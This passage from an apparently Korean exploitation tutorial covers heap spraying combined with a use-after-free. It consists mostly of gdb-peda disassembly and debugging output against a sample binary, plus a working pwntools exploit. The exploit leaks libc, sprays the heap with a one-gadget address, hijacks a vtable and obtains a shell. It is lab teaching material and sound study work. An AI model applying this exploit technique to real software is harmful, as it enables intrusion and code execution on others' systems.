   0x0000000000400b8a <+301>:	mov    rcx,QWORD PTR [rbp-0x18]
   0x0000000000400b8e <+305>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400b97 <+314>:	je     0x400b9e <main+321>
   0x0000000000400b99 <+316>:	call   0x400880 <__stack_chk_fail@plt>
   0x0000000000400b9e <+321>:	add    rsp,0xd8
   0x0000000000400ba5 <+328>:	pop    rbx
   0x0000000000400ba6 <+329>:	pop    rbp
   0x0000000000400ba7 <+330>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400b42
Breakpoint 1 at 0x400b42
gdb-peda$ b *0x0000000000400b58
Breakpoint 2 at 0x400b58

gdb-peda$ disassemble _Z9heapSprayv
Dump of assembler code for function _Z9heapSprayv:
   0x00000000004009d6 <+0>:	push   rbp
   0x00000000004009d7 <+1>:	mov    rbp,rsp
   0x00000000004009da <+4>:	sub    rsp,0x20
   0x00000000004009de <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004009e7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004009eb <+21>:	xor    eax,eax
   0x00000000004009ed <+23>:	mov    edi,0x400cb4
   0x00000000004009f2 <+28>:	call   0x400810 <puts@plt>
   0x00000000004009f7 <+33>:	lea    rax,[rbp-0x14]
   0x00000000004009fb <+37>:	mov    edx,0x4
   0x0000000000400a00 <+42>:	mov    rsi,rax
   0x0000000000400a03 <+45>:	mov    edi,0x0
   0x0000000000400a08 <+50>:	call   0x400840 <read@plt>
   0x0000000000400a0d <+55>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a10 <+58>:	test   eax,eax
   0x0000000000400a12 <+60>:	jle    0x400a46 <_Z9heapSprayv+112>
   0x0000000000400a14 <+62>:	mov    edi,0x400cc0
   0x0000000000400a19 <+67>:	call   0x400810 <puts@plt>
   0x0000000000400a1e <+72>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a21 <+75>:	cdqe   
   0x0000000000400a23 <+77>:	mov    rdi,rax
   0x0000000000400a26 <+80>:	call   0x400820 <_Znam@plt>
   0x0000000000400a2b <+85>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400a2f <+89>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a32 <+92>:	movsxd rdx,eax
   0x0000000000400a35 <+95>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400a39 <+99>:	mov    rsi,rax
   0x0000000000400a3c <+102>:	mov    edi,0x0
   0x0000000000400a41 <+107>:	call   0x400840 <read@plt>
   0x0000000000400a46 <+112>:	nop
   0x0000000000400a47 <+113>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400a4b <+117>:	xor    rax,QWORD PTR fs:0x28
   0x0000000000400a54 <+126>:	je     0x400a5b <_Z9heapSprayv+133>
   0x0000000000400a56 <+128>:	call   0x400880 <__stack_chk_fail@plt>
   0x0000000000400a5b <+133>:	leave  
   0x0000000000400a5c <+134>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400a26
Breakpoint 3 at 0x400a26
gdb-peda$ b *0x0000000000400a41
Breakpoint 4 at 0x400a41
gdb-peda$
  • 다음 코드 부분은 앞에서 설명한 Sample code와 동일합니다.
    • 즉, 해당 코드에서 Heap spray가 가능합니다.
    • 그리고 아래에서는 스크립트가 아닌 터미널에서 값을 직접 입력하여 값이 메모리에 문자형으로 저장되어 있기 때문에 숫자형으로 변경이 필요합니다.
Create heap
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/HeapSpray/heapspray 
Printf() address : 0x7ffff74dc800
Heap spray!
Input size:
100
Input contents:

Breakpoint 3, 0x0000000000400a26 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0xa303031	0xa303031
gdb-peda$ set $rdi = 100
gdb-peda$ ni

0x0000000000400a2b in heapSpray() ()
gdb-peda$ i r rax
rax            0x615030	0x615030
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400a41 in heapSpray() ()
gdb-peda$ c
Continuing.
AAAA
Will you keep typing?(No:0):
0
Create vtable
100
  • 다음과 같이 UAF 클래스를 생성되면 Heap 영역에 공간을 할당받습니다.
    • 할당 받은 Heap 영역에 UAF클래스에 대한 VTable 정보가 저장되어 있습니다.
new UAF(memo)
Breakpoint 1, 0x0000000000400b42 in main ()
gdb-peda$ i r rsi
rsi            0x7fffffffe3e0	0x7fffffffe3e0
gdb-peda$ x/gx 0x7fffffffe3e0
0x7fffffffe3e0:	0x000000000a303031
gdb-peda$ set *0x7fffffffe3e0 = 0x64
gdb-peda$ ni

0x0000000000400b47 in main ()
gdb-peda$ i r rax
rax            0x6150a8	0x6150a8
gdb-peda$ i r rbx
rbx            0x6150a0	0x6150a0
gdb-peda$ x/4gx 0x0000000000400d40
0x400d40 <_ZTV3UAF+16>:	0x0000000000400bf2	0x00000000006020a0
0x400d50 <_ZTI3UAF+8>:	0x0000000000400d58	0x0000000046415533
gdb-peda$ x/10i 0x0000000000400bf2
   x <_ZN3UAF6targetEv>:	push   rbp
   0x400bf3 <_ZN3UAF6targetEv+1>:	mov    rbp,rsp
   0x400bf6 <_ZN3UAF6targetEv+4>:	sub    rsp,0x10
   0x400bfa <_ZN3UAF6targetEv+8>:	mov    QWORD PTR [rbp-0x8],rdi
   0x400bfe <_ZN3UAF6targetEv+12>:	mov    rax,QWORD PTR [rbp-0x8]
   0x400c02 <_ZN3UAF6targetEv+16>:	add    rax,0x8
   0x400c06 <_ZN3UAF6targetEv+20>:	mov    rdi,rax
   0x400c09 <_ZN3UAF6targetEv+23>:	call   0x400860 <strlen@plt>
   0x400c0e <_ZN3UAF6targetEv+28>:	mov    rdx,rax
   0x400c11 <_ZN3UAF6targetEv+31>:	mov    rax,QWORD PTR [rbp-0x8]
gdb-peda$ c
Continuing.
  • 다음과 같이 UAF 취약성이 발생합니다.
    • UAF 클래스가 삭제 후 HeapSpray() 함수를 이용하여 UAF 클래스와 동일한 크기의 heap 영역을 할당 받으면 UAF 취약성이 발생하게 됩니다.
  • 즉, 해당 취약성을 이용하여 shell을 획득 할 수 있습니다.
    • Heap spray를 이용해 Heap 영역을 One Gadget 주소로 채웁니다.
    • 그리고 UAF 취약성으로 할당 받은 영역에 Heap spray된 heap 주소를 유추하여 저장합니다.
    • 이로 인해 "uaf→target()" 코드는 heap spray된 영역에 저장된 One gadget 주소를 target() 함수의 시작 주소로 판단하고 실행합니다.
UAF
Breakpoint 2, 0x0000000000400b58 in main ()
gdb-peda$ i r rdi
rdi            0x6150a0	0x6150a0
gdb-peda$ c
Continuing.
UAF!
Input size:
100
Input contents:


Breakpoint 3, 0x0000000000400a26 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0xa303031	0xa303031
gdb-peda$ set $rdi = 100
gdb-peda$ ni

0x0000000000400a2b in heapSpray() ()
gdb-peda$ i r rax
rax            0x6150a0	0x6150a0
gdb-peda$ x/10gx 0x6150a0
0x6150a0:	0x0000000000400d40	0x0000000000000000
0x6150b0:	0x0000000000000000	0x0000000000000000
0x6150c0:	0x0000000000000000	0x0000000000000000
0x6150d0:	0x0000000000000000	0x0000000000000000
0x6150e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400a41 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0x0	0x0
gdb-peda$ i r rsi
rsi            0x6150a0	0x6150a0
gdb-peda$ ni
AAAABBBB

0x0000000000400a46 in heapSpray() ()
gdb-peda$ x/10gx 0x6150a0
0x6150a0:	0x4242424241414141	0x000000000000000a
0x6150b0:	0x0000000000000000	0x0000000000000000
0x6150c0:	0x0000000000000000	0x0000000000000000
0x6150d0:	0x0000000000000000	0x0000000000000000
0x6150e0:	0x0000000000000000	0x0000000000000000
gdb-peda$

Exploit code

exploit.py
from pwn import *

#context.log_level = 'debug'

startBrk =  0x602000
spraySize = 0x10000
sprayRange = 0x5000000
sprayCount = sprayRange /spraySize
targetOffset = 0x400
target = startBrk + sprayRange + targetOffset

p = process('./heapspray')
#sleep(20)
p.recvuntil("Printf() address : ")
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0xf02a4

log.info('target : '+hex(target))
log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))

for i in xrange(sprayCount):
    size = spraySize - 0x10
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = p64(oneGadget) * (size // 8)
    buf += 'A' * (size-len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.recvuntil("Create vtable\n")
p.send("Hello Heap spray & UAF")

p.recvuntil("Input size:\n")
p.send(p32(160))

p.recvuntil("Input contents:\n")
buf = p64(target) * (160 // 8)
buf += 'C' * (160-len(buf))
p.send(buf)

p.interactive()
Get shell!
lazenca0x0@ubuntu:~/Exploit/11.Heap Spray$ python exploit.py 
[+] Starting local process './heapspray': pid 25405
[*] target : 0x5602400
[*] libcBase Addr : 0x7fc228a49000
[*] oneGadget Addr : 0x7fc228b392a4
Finished Heap spray!

[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References